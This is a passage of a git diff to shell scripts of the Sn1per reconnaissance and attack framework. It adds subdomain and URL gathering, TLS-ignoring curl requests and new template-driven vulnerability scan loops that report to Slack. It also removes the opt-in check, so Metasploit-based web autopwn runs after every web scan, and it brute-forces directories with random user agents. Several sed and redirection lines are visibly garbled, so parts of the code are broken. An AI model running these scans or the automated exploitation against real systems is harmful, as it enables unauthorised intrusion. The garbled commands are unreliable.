-f $LOOT_DIR/nmap/nmap-$TARGET-udp 2> /dev/null fi + source modes/sc0pe.sh echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED DONE $RESET" + echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt mv $LOOT_DIR/scans/running-$TARGET-$MODE.txt $LOOT_DIR/scans/finished-$TARGET-$MODE.txt 2> /dev/null diff --git a/modes/javascript-analysis.sh b/modes/javascript-analysis.sh index 0f75009..a89dc2a 100644 --- a/modes/javascript-analysis.sh +++ b/modes/javascript-analysis.sh @@ -4,6 +4,8 @@ echo -e "$OKRED DOWNLOADING ALL JAVASCRIPT FILES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" for a in `grep "\.js" $LOOT_DIR/web/spider-$TARGET.txt | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done; + for a in `grep "\.js" $LOOT_DIR/web/weblinks-htt*-$TARGET.txt 2> /dev/null | egrep -i 'http' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - $a" && FILENAME=$(echo "$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done; + for a in `grep "\.js" $LOOT_DIR/web/weblinks-htt*-$TARGET.txt 2> /dev/null | egrep -iv 'http' | head -n $MAX_JAVASCRIPT_FILES | cut -d\? -f1 | sort -u`; do echo "Downloading - https://$a" && FILENAME=$(echo "https://$a" | awk -F/ '{print $(NF-0)}') && curl --connect-timeout 10 --max-time 10 -s -R -L --insecure $a | js-beautify - > $FILENAME 2> /dev/null; done; echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED DISPLAYING ALL JAVASCRIPT COMMENTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -30,4 +32,7 @@ echo -e "$OKRED DISPLAYING JAVASCRIPT DOMAINS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" grep -h http $LOOT_DIR/web/javascript-linkfinder-$TARGET-*.txt 2> /dev/null | grep -v "Running " | awk '{print $1}' | egrep "http\:\/\/|https\:\/\/" | cut -d\/ -f3 | sort -u | tee $LOOT_DIR/web/javascript-$TARGET-domains.txt - WEB_JAVASCRIPT_ANALYSIS="0" \ No newline at end of file + WEB_JAVASCRIPT_ANALYSIS="0" + + + diff --git a/modes/normal.sh b/modes/normal.sh index 50789d8..01bacc0 100644 --- a/modes/normal.sh +++ b/modes/normal.sh @@ -113,7 +113,7 @@ cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/nul cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt" + /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$TARGET.txt" fi if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]] && [[ -s "$LOOT_DIR/nmap/ports-$TARGET.diff" ]]; then @@ -410,9 +410,9 @@ else echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null$RESET" fi wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 -s -R -L http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS http://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port80.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s --insecure -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null + curl --connect-timeout 5 -s -R -L --insecure http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s --insecure -R -X OPTIONS http://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port80.txt 2> /dev/null echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -712,9 +712,9 @@ else echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null$RESET" fi wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 -s -R -L https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS https://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port443.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s --insecure -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null + curl --connect-timeout 5 -s -R -L --insecure https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s --insecure -R -X OPTIONS https://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port443.txt 2> /dev/null echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1446,6 +1446,8 @@ if [[ ${#SHELLED} -ge 5 ]]; then echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null fi +source modes/sc0pe.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" diff --git a/modes/normal_webporthttp.sh b/modes/normal_webporthttp.sh index 9d5a994..20e84e3 100644 --- a/modes/normal_webporthttp.sh +++ b/modes/normal_webporthttp.sh @@ -21,6 +21,12 @@ if [[ "$MODE" = "web" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null fi + if [[ "$GUA" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED FETCHING GUA URLS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + gua2 -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null + fi if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" @@ -33,6 +39,7 @@ if [[ "$MODE" = "web" ]]; then cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null sed -ir "s//dev/null sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null @@ -51,8 +58,7 @@ if [[ "$MODE" = "web" ]]; then echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_COMMON -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_COMMON -x 400,404,405,406,429,500,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-common.txt @@ -63,7 +69,7 @@ if [[ "$MODE" = "web" ]]; then echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_FULL -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_FULL -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-full.txt @@ -74,7 +80,7 @@ if [[ "$MODE" = "web" ]]; then echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-exploits.txt @@ -145,10 +151,10 @@ if [[ "$MODE" = "web" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt fi + cd $INSTALL_DIR - if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then - PORT="80" - SSL="false" - source modes/web_autopwn.sh - fi + PORT="80" + SSL="false" + source modes/web_autopwn.sh + fi \ No newline at end of file diff --git a/modes/normal_webporthttps.sh b/modes/normal_webporthttps.sh index fc07d96..c73aed7 100644 --- a/modes/normal_webporthttps.sh +++ b/modes/normal_webporthttps.sh @@ -21,6 +21,12 @@ if [[ "$MODE" = "web" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null fi + if [[ "$GUA" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED FETCHING GUA URLS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + gua2 -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null + fi if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" @@ -33,6 +39,7 @@ if [[ "$MODE" = "web" ]]; then cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null sed -ir "s//dev/null sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null @@ -51,8 +58,7 @@ if [[ "$MODE" = "web" ]]; then echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_COMMON -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_COMMON -x 400,404,405,406,429,500,502,503,504 -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-common.txt @@ -63,7 +69,7 @@ if [[ "$MODE" = "web" ]]; then echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_FULL -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_FULL -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-full.txt @@ -74,7 +80,7 @@ if [[ "$MODE" = "web" ]]; then echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-exploits.txt @@ -144,10 +150,10 @@ if [[ "$MODE" = "web" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt fi + cd $INSTALL_DIR - if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then - PORT="443" - SSL="true" - source modes/web_autopwn.sh - fi + PORT="443" + SSL="true" + source modes/web_autopwn.sh + fi \ No newline at end of file diff --git a/modes/recon.sh b/modes/recon.sh index c5e8f0c..3d646e0 100644 --- a/modes/recon.sh +++ b/modes/recon.sh @@ -103,6 +103,12 @@ if [[ "$RECON" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" python3 /usr/share/sniper/bin/github-subdomains.py -t $GITHUB_API_TOKEN -d $TARGET $LOOT_DIR/domains/domains-$TARGET-github.txt 2> /dev/null fi + if [[ "$RAPIDDNS" = "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED GATHERING GITHUB SUBDOMAINS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + curl -s "https://rapiddns.io/subdomain/$TARGET?full=1&down=1#exportData()" | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep "$TARGET" | cut -d\/ -f3 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-rapiddns.txt 2> /dev/null + fi cat $LOOT_DIR/domains/domains-$TARGET-crt.txt 2> /dev/null > $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null cat $LOOT_DIR/domains/domains-$TARGET-spyse.txt /dev/null > $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null cat $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null @@ -112,6 +118,7 @@ if [[ "$RECON" = "1" ]]; then cat $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null cat $LOOT_DIR/domains/domains-$TARGET-shodan-sorted.txt 2>/dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null cat $LOOT_DIR/domains/domains-$TARGET-github.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null + cat $LOOT_DIR/domains/domains-$TARGET-rapiddns.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null cat $LOOT_DIR/domains/targets.txt 2> /dev/null >> $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET-presorted.txt 2> /dev/null sed -i '/^$/d' $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null diff --git a/modes/sc0pe-active-scan.sh b/modes/sc0pe-active-scan.sh new file mode 100644 index 0000000..18e5727 --- /dev/null +++ b/modes/sc0pe-active-scan.sh @@ -0,0 +1,11 @@ + for file in `ls $INSTALL_DIR/templates/active/*.sh 2> /dev/null`; do + source $file + OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g') + #echo $file + if [[ "$SSL" == "true" ]]; then + curl --connect-timeout 5 --max-time 10 -k -X $METHOD $CURL_OPTS "https://$TARGET:$PORT/$URI" | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null + else + curl --connect-timeout 5 --max-time 10 -k -X $METHOD $CURL_OPTS "http://$TARGET:$PORT/$URI" | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(cat /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null + fi + rm -f /tmp/match.out 2> /dev/null + done \ No newline at end of file diff --git a/modes/sc0pe-passive-scan.sh b/modes/sc0pe-passive-scan.sh new file mode 100644 index 0000000..e03c288 --- /dev/null +++ b/modes/sc0pe-passive-scan.sh @@ -0,0 +1,20 @@ + for file in `ls $INSTALL_DIR/templates/passive/*.sh 2> /dev/null`; do + source $file + OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g') + #echo $file + if [[ "$SEARCH" == "negative" ]]; then + if [[ "$SSL" == "true" ]]; then + cat $FILENAME | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS >/tmp/match.out || echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null + else + cat $FILENAME | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS >/tmp/match.out || echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null + fi + else + #echo $file + if [[ "$SSL" == "true" ]]; then + cat $FILENAME | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out 